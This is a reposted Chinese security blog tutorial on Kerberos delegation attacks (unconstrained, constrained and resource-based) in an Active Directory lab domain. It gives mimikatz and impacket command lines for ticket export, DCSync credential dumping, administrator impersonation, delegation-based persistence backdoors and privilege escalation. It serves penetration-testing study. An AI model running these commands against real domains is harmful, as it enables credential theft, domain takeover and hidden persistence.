Kerberos委派攻击的那些事

admin 2022年3月31日08:21:18评论76 views字数 6475阅读21分35秒阅读模式
Kerberos委派攻击的那些事
原创稿件征集

邮箱:[email protected]
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬


本文转自社区:https://xz.aliyun.com/t/10061
作者:17岁的one


前言

本篇文章主要是对域渗透中的Kerberos委派攻击的利用手法进行简单的总结。(可能思路狭隘,有缺有错,师傅们多带带)域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。需要注意的是在域内可以委派的账户有两种,一种是主机账户,另一种是服务账户(域用户通过注册SPN也可以成为服务账号)。Kerberos委派主要分为三种:

非约束委派(Unconstrained Delegation)约束委派(Constrained Delegation)基于资源的约束委派(Resource-Based Constrained Delegation)

非约束委派和约束委派的流程,有兴趣的师傅可以去看看微软的手册下面简单介绍下Kerberos的各类委派,如何配置如何发现实战场景中如何利用

非约束委派

概述

当域用户访问域内某服务时,如果该服务开启了非约束委派,用户会主动将自己已转发的的TGT发送服务,而该服务会将用户的TGT保存在内存以备下次重用,然后服务就可以利用该已转发的TGT以用户的身份访问该用户能访问的服务。非约束委派的安全问题就是如果我们找到配置了非约束委派的主机,并且通过一定手段拿下该主机的权限,我们就可以拿到所有访问过该主机用户的TGT。

如何配置和发现非约束委派的主机

配置:

Kerberos委派攻击的那些事


查找:

AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
Kerberos委派攻击的那些事

利用场景

被动

当我们在域内拿到一台配置了非约束委派的主机后,就可以使用mimikatz导出所有票据,若是有其他用户访问过该主机,那么我们就可以通过ptt获取该用户权限。

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exitkerberos::pttpsexec64.exe \DC2012.0ne.test -accepteula -s cmd

当然我们也可以诱导域管访问该主机,例如通过给管理员发诱饵文件修改Desktop.ini,或是outlook等等。详情可参考daiker师傅的发起NTLM请求

Kerberos委派攻击的那些事

Kerberos委派攻击的那些事

域管在域控上点击此文件夹是就会访问win7,导出域管的TGT,ptt,psexec域控。Kerberos委派攻击的那些事


非约束委派+Spooler打印机服务

在实战中,被动的非约束委派的利用需要和目标用户交互比较鸡肋。因此可以利用非约束委派+Spooler 打印机服务可以强制指定的主机进行连接。

Kerberos委派攻击的那些事


利用原理:利用 Windows 打印系统远程协议 (MS-RPRN) 中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。POC: https://github.com/leechristensen/SpoolSample在WIN7主机上运行该工具,强制域控向WIN7发起认证,然后导出票据,可以看到已经获取了DC2012$的TGT,符合DCSync的利用条件[域控制器计算机帐户]

kerberos::ptt xxxx.kirbilsadump::dcsync /domain:0ne.test /all /csv

Kerberos委派攻击的那些事



约束委派

概述

由于非约束委派的不安全性,微软在windows server2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U。其中S4U支持两个子协议:

  • Service for User to Self(S4U2self)

  • Service for User to Proxy(S4U2proxy)

这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。配置它后,约束委派将限制指定服务可以代表用户去访问服务。该设置需要SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员。约束委派的安全问题就是如果我们找到配置了约束委派的服务账号,并且通过一定手段拿下该服务账号。我们就可以利用这个服务账号代表任意用户进行S4U2self获得一个可转发的票据,然后把获取到的票据用于S42proxy(作为AddtionTicket),从而获取一个可转发的TGS,服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务)。

如何配置和发现约束委派的服务

配置:

Kerberos委派攻击的那些事查找:

AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

Kerberos委派攻击的那些事

也可以使用impacket工具包findDelegation.py找出所有的委派配置。

findDelegation.py -dc-ip 192.168.17.134 -target-domain 0ne.test 0ne.test/zhangsan:zs@123456
Kerberos委派攻击的那些事

利用场景

后门

约束委派可以作为变种黄金票据,用作后门权限维持。给后门账户[知道密码或是hash就成]注册SPN:

setspn -U -A variant/golden lisi

配置后门账户到域控的约束委派:Kerberos委派攻击的那些事

Kerberos委派攻击的那些事


使用impactet工具包中的getST.py[其他工具也成],模拟域管理员administrator账号申请访问域控的ldap服务的ST。

getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi -hashes xxxxx:xxxxxx
Kerberos委派攻击的那些事ptt,然后wmiexec到域控获取权限,或是secretsdump后随时随地pth域控:
export KRB5CCNAME=administrator.ccacheklistwmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@DC2012.0ne.testsecretsdump.py -k -no-pass DC2012.0ne.test -just-dc-user administratorwmiexec.py  0ne/administrator@192.168.17.134  -hashes xxxxx:xxxxxxx
Kerberos委派攻击的那些事

Kerberos委派攻击的那些事

Kerberos委派攻击的那些事

横向

打下配置了约束委派的服务账号,我们就可以拿下被配置的约束委派的服务(A->B)。和上述利用方式一致:用A账号getST模拟administrator获取访问B的ST,ptt,wmiexec。

基于资源的约束委派

概述

配置约束委派,必须拥有SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。传统的约束委派是"正向的",通过将service2的SPN添加到service1的msDS-AllowedToDelegateTo属性中,并且配置service1的TrustedToAuthenticationForDelegation属性为true。传统的约束委派S4U2self返回的票据一定是可转发的,如果不可转发那么S4U2proxy将失败;但是基于资源的约束委派不同,就算S4U2self返回的票据不可转发,S4U2proxy也是可以成功,并且S4U2proxy返回的票据总是可转发。同时基于资源的约束委派(RBCD)配置则是相反的,通过将service1的SID添加到service2的msDS-AllowedToActOnBehalfOfOtherIdentity属性中,就可以达到相同目的。基于资源的约束委派具有传统的约束委派的所有安全问题,因为我们只需要拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,所以RBCD的利用比较于传统的约束委派场景多也简单。默认情况下以下账户拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限:

  • Domain Admins(域管理员)

  • mS-DS-CreatorSID(将该机器加入域的账户)

  • NT AUTHORITYSELF(机器账户本身)

RBCD的利用条件:

  • 能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限

  • 一个具有SPN的账户的TGT

利用场景

针对上述情况可衍生的利用场景。

后门

需要域管理员权限,修改krbtgt或是域控的msDS-AllowedToActOnBehalfOfOtherIdentity属性,加入已知后门账户的SID。Domain Admins使用ActiveDirectory模块,域控2012及以上默认安装。

Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount lisiGet-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
Kerberos委派攻击的那些事
getST.py -dc-ip 192.168.17.134 -spn krbtgt -impersonate administrator 0ne.test/lisi:ls@123456wmiexec.py -dc-ip 192.168.17.134 -no-pass -k [email protected]
Kerberos委派攻击的那些事
Set-ADComputer DC2012 -PrincipalsAllowedToDelegateToAccount lisiGet-ADComputer DC2012 -Properties PrincipalsAllowedToDelegateToAccount

Kerberos委派攻击的那些事

getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi:ls@123456
Kerberos委派攻击的那些事

横向

A配置了到B的RBCD,打下A就可以打下B。和约束委派横向利用场景一致某公司有专门加域的域用户A或是其有添加过多台机器入域,获取该账户的权限后,可利用基于资源的约束委派修改机器属性,批量获取机器权限。mS-DS-CreatorSID如果我们想拿域内机器A的权限,如果我们又没有机器A的administrators组成员凭据的话还可以看机器A是通过哪个用户加入域的,控制了这个用户A依然可以获取权限。mS-DS-CreatorSID假如张三就是上述用户A。如何查找类似的用户,非域管加域机器才会有mS-DS-CreatorSID属性:

AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSIDAdFind.exe -b "DC=0ne,DC=test" -f "(&(objectsid=S-1-5-21-xxxxxxxx))" objectclass cn dn
Kerberos委派攻击的那些事

Kerberos委派攻击的那些事win7和web01的mS-DS-CreatorSID的值相同,都是被zhangsan加入域。通过一定手段打下张三,然后添加机器账号,设置test01到WIN7的RBCD:

addcomputer.py -dc-ip 192.168.17.134 -computer-name 'test01$' -computer-pass test@123456 0ne.test/zhangsan:zs@123456rbcd.py -f test01 -t win7 -dc-ip 192.168.17.134 0ne\zhangsan:zs@123456

Kerberos委派攻击的那些事


Kerberos委派攻击的那些事模拟域管理员administrator账号申请访问win7的ST,ptt,然后wmiexec到目标主机:

getST.py -spn cifs/win7.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/test01$:test@123456wmiexec.py -dc-ip 192.168.17.134 -no-pass -k [email protected]

Kerberos委派攻击的那些事

Kerberos委派攻击的那些事同理WEB01也可以打下来。

提权

获取某域内web服务器的iis apppooldefaultapppool或是network service账户权限,虽然是低权限用户,但是这些账户出网时都是以当前机器账户身份,可以利用RBCD进行提权。NT AUTHORITYSELF

Kerberos委派攻击的那些事使用https://github.com/pkb1s/SharpAllowedToAct, 添加机器账户并设置iis到web01的RBCD:

SharpAllowedToAct.exe -m iis -p iis -t WEB01 -a DC2012.0ne.test -d 0ne.test

Kerberos委派攻击的那些事

Kerberos委派攻击的那些事模拟域管理员administrator账号申请访问web01的ST,ptt,然后wmiexec到目标主机:

getST.py -spn cifs/web01.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/iis$:iis
wmiexec.py -dc-ip 192.168.17.134 -no-pass -k [email protected]

Kerberos委派攻击的那些事

Kerberos委派攻击的那些事

某企业新员工张三入职后用工作电脑加入公司域时,使用的自己域账号,在攻防演习中被钓鱼上线,但是发现该用户没有在本地管理员组里面,可利用RBCD进行提权。mS-DS-CreatorSID域内获取某台主机低权限,可通过获取到机器加域的账号权限,再利用RBCD进行提权。mS-DS-CreatorSID这两场景和RBCD横向利用场景一致:加域账号->添加机器账号->设置RBCD->getST,ptt。

参考

感谢3t2ugg1e师傅的服务云课堂分享,还有在网上愿意技术分享的各位师傅们。

(http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/)

(https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/#redteamweb3user)

(https://daiker.gitbook.io/windows-protocol/)

(https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a)

Kerberos委派攻击的那些事
“阅读原文”体验免费靶场!

本文始发于微信公众号(合天网安实验室):Kerberos委派攻击的那些事

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月31日08:21:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Kerberos委派攻击的那些事https://cn-sec.com/archives/537000.html

发表评论

匿名网友 填写信息